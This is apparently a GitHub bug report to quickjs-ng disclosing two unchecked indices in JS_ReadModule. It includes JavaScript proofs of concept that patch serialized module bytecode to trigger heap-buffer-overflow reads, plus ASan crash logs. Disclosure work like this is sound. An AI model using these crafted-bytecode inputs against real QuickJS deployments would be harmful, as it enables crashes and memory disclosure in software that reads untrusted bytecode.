Skip to content

Two missing bounds checks in JS_ReadModule causing OOB reads during module linking #1378

@zzjas

Description

@zzjas

Hi, we found two locations in JS_ReadModule that directly uses some fields from the user provided bytes as array access indices without bounds check, causing heap-buffer-overflow with an asan build. Thanks for looking into this!

unchecked req_module_idx

Write sites (no validation against req_module_entries_count):

https://github.com/quickjs-ng/quickjs/blob/610f849f1090e548c126516ae23dd3edc24c4cb5/quickjs.c#L38283

https://github.com/quickjs-ng/quickjs/blob/610f849f1090e548c126516ae23dd3edc24c4cb5/quickjs.c#L38302

https://github.com/quickjs-ng/quickjs/blob/610f849f1090e548c126516ae23dd3edc24c4cb5/quickjs.c#L38320

Crash site:

https://github.com/quickjs-ng/quickjs/blob/610f849f1090e548c126516ae23dd3edc24c4cb5/quickjs.c#L29925

PoC and ASan Log (Click to expand)
const READ = 1;
const READ_REF = 1 << 3;
const WRITE_FLAGS = 1 | (1 << 3) | (1 << 4);

const mod = std.evalScript("export { out } from 'qjs:std'", { compile_only: true, compile_module: true });
const bc = new Uint8Array(bjson.write(mod, WRITE_FLAGS));

if (bc[0x26] !== 0) throw new Error("layout changed");
bc[0x26] = 1; // req_module_idx: 0 -> 1 (OOB)

std.evalScript(bjson.read(bc.buffer, 0, bc.length, READ | READ_REF), { eval_module: true });
==3958493==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x503000009c68 at pc 0x55a40a641985 bp 0x7ffd446f2710 sp 0x7ffd446f2708
READ of size 8 at 0x503000009c68 thread T0
    #0 0x55a40a641984 in js_inner_module_linking .../quickjs/quickjs.c:29925:62
    #1 0x55a40a5cb559 in js_link_module .../quickjs/quickjs.c:30074:9
    #2 0x55a40a5cb559 in JS_EvalFunctionInternal .../quickjs/quickjs.c:36342:13
    #3 0x55a40a5cb323 in JS_EvalFunction .../quickjs/quickjs.c:36358:12
    #4 0x55a40a5532d6 in js_evalScript .../quickjs/quickjs-libc.c:1108:16
    #5 0x55a40a561592 in js_call_c_function .../quickjs/quickjs.c:17143:19
    #6 0x55a40a5a4798 in JS_CallInternal .../quickjs/quickjs.c:17359:16
    #7 0x55a40a5a8313 in JS_CallInternal .../quickjs/quickjs.c:17817:27
    #8 0x55a40a67ef78 in async_func_resume .../quickjs/quickjs.c:20257:12
    #9 0x55a40a67ef78 in js_async_function_resume .../quickjs/quickjs.c:20512:16
    #10 0x55a40a5e6354 in js_async_function_call .../quickjs/quickjs.c:20631:10

unchecked var_idx

Write sites (no validation against closure_var_count):

https://github.com/quickjs-ng/quickjs/blob/610f849f1090e548c126516ae23dd3edc24c4cb5/quickjs.c#L38280

https://github.com/quickjs-ng/quickjs/blob/610f849f1090e548c126516ae23dd3edc24c4cb5/quickjs.c#L38316

Crash site:

https://github.com/quickjs-ng/quickjs/blob/610f849f1090e548c126516ae23dd3edc24c4cb5/quickjs.c#L30022

PoC and ASan Log (Click to expand)
const READ = 1;
const WRITE_FLAGS = 1 | (1 << 3) | (1 << 4);

const mod = std.evalScript("export let x = 1; export let y = 2;", { compile_only: true, compile_module: true });
const bc = new Uint8Array(bjson.write(mod, WRITE_FLAGS));

if (bc[28] !== 0) throw new Error("layout changed");
bc[28] = 0x7f; // local var_idx: 0 -> 127 (OOB)

std.evalScript(bjson.read(bc.buffer, 0, bc.length, READ), { eval_module: true });
==3963942==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x502000001768 at pc 0x55979aca49a4 bp 0x7fff55f03390 sp 0x7fff55f03388
READ of size 8 at 0x502000001768 thread T0
    #0 0x55979aca49a3 in js_inner_module_linking .../quickjs/quickjs.c:30022:27
    #1 0x55979ac2e559 in js_link_module .../quickjs/quickjs.c:30074:9
    #2 0x55979ac2e559 in JS_EvalFunctionInternal .../quickjs/quickjs.c:36342:13
    #3 0x55979ac2e323 in JS_EvalFunction .../quickjs/quickjs.c:36358:12
    #4 0x55979abb62d6 in js_evalScript .../quickjs/quickjs-libc.c:1108:16
    #5 0x55979abc4592 in js_call_c_function .../quickjs/quickjs.c:17143:19
    #6 0x55979ac07798 in JS_CallInternal .../quickjs/quickjs.c:17359:16
    #7 0x55979ac0b313 in JS_CallInternal .../quickjs/quickjs.c:17817:27
    #8 0x55979ace1f78 in async_func_resume .../quickjs/quickjs.c:20257:12
    #9 0x55979ace1f78 in js_async_function_resume .../quickjs/quickjs.c:20512:16
    #10 0x55979ac49354 in js_async_function_call .../quickjs/quickjs.c:20631:10

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions